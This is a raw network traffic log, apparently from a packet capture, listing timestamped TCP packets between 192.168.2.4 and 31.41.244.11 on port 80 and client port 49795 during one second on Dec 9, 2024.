Dec 9, 2024 20:28:11.430789948 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.430845976 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.431154966 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.431204081 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.434578896 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.434662104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.434670925 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.434674978 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.434709072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.434729099 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.434829950 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.434885025 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.435520887 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.435573101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.435733080 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.435784101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.438743114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.438805103 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.438889980 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.438941002 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.440534115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.440593004 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.440712929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.440759897 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.441137075 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.441189051 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.442383051 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.442439079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.442920923 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.442970037 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.443003893 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.443052053 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.444820881 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.444875956 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.444880962 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.444916010 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.446599007 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.446649075 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.446670055 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.446713924 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.449853897 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.449913025 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.449918985 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.449955940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.450546026 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.450596094 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.450680971 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.450730085 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.452061892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.452119112 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.452158928 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.452198029 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.453902960 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.453963041 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.454006910 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.454081059 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.456105947 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.456162930 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.456239939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.456290007 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.457575083 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.457655907 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.457694054 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.457741976 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.459381104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.459436893 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.459779978 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.459834099 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.461304903 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.461361885 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.463089943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.463103056 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.463143110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.463577986 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.463634014 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.464843988 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.464900017 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.466613054 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.466664076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.466800928 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.466835976 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.466875076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.466891050 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.468472958 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.468528986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.468571901 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.468672991 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.470288038 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.470335960 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.470377922 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.470428944 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.563570976 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.563709974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.563714027 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.563764095 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.564266920 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.564327955 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.564394951 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.564450026 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.565815926 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.565886021 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.565886021 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.565943003 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.567331076 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.567399025 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.567405939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.567454100 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.568893909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.568958044 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.568962097 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.569006920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.570322990 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.570389986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.570419073 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.570463896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.572320938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.572381973 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.572477102 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.572525978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.574688911 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.574779987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.574871063 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.574923992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.575747967 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.575843096 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.575870991 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.575915098 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.576674938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.576726913 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.576751947 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.576795101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.577593088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.577646017 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.577667952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.577714920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.578891993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.578953981 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.578986883 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.579032898 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.580357075 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.580431938 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.580467939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.580521107 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.581656933 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.581705093 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.581777096 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.581839085 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.583113909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.583188057 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.583340883 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.583396912 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.584364891 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.584436893 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.584491014 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.584543943 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.585724115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.585793972 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.585864067 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.585906029 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.587069988 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.587202072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.587208033 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.587300062 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.588401079 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.588454008 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.588515043 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.588558912 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.590042114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.590095043 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.590110064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.590156078 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.591190100 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.591244936 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.591362000 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.591408968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.592291117 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.592338085 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.592417955 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.592466116 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.593568087 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.593624115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.593647957 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.593666077 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.594867945 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.594933033 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.594973087 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.595021963 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.596236944 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.596296072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.596369982 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.596420050 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.597448111 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.597517014 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.597608089 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.597657919 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.598915100 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.598978043 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.599060059 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.599111080 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.599900961 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.599962950 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.600038052 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.600087881 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.601203918 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.601257086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.601353884 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.601397038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.602463007 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.602524042 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.602581024 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.602631092 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.603768110 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.603847980 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.603854895 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.603902102 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.605062962 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.605118036 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.605161905 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.605204105 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.606364012 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.606420040 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.606515884 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.606559038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.607644081 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.607700109 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.607738972 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.607781887 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.608891964 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.608947992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.608982086 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.609031916 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.610171080 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.610219002 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.610255003 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.610311031 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.611426115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.611473083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.612220049 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.612266064 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.612888098 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.612943888 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.612982035 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.613028049 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.614820957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.614870071 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.615258932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.615305901 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.616823912 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.616868973 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.616898060 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.616942883 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.617552042 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.617597103 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.617691040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.617734909 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.618287086 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.618330956 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.618465900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.618511915 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.619091988 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.619136095 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.619147062 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.619189978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.620331049 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.620379925 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.620420933 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.620466948 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.621578932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.621628046 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.621675968 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.621717930 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.622891903 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.622939110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.622972965 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.623016119 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.624245882 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.624322891 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.624361992 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.624403000 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.625421047 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.625467062 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.625538111 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.625581980 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.626832962 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.626888037 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.627228975 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.627275944 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.628068924 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.628119946 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.628366947 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.628424883 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.629234076 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.629271984 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.629420042 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.629461050 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.630522013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.630567074 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.630645037 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.630702972 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.631771088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.631829023 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.631947994 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.631989956 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.632998943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.633054018 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.755285025 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.755299091 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.755486012 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.755523920 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.755577087 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.755664110 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.755742073 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.756624937 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.756695032 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.756719112 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.756763935 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.757673979 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.757767916 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.757805109 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.757847071 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.758723974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.758780003 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.758826971 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.758872986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.759785891 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.759843111 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.759849072 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.759891987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.760845900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.760901928 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.761004925 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.761050940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.761902094 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.761957884 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.761984110 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.762022972 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.762984037 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.763052940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.763237000 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.763286114 CET	49795	80	192.168.2.4	31.41.244.11
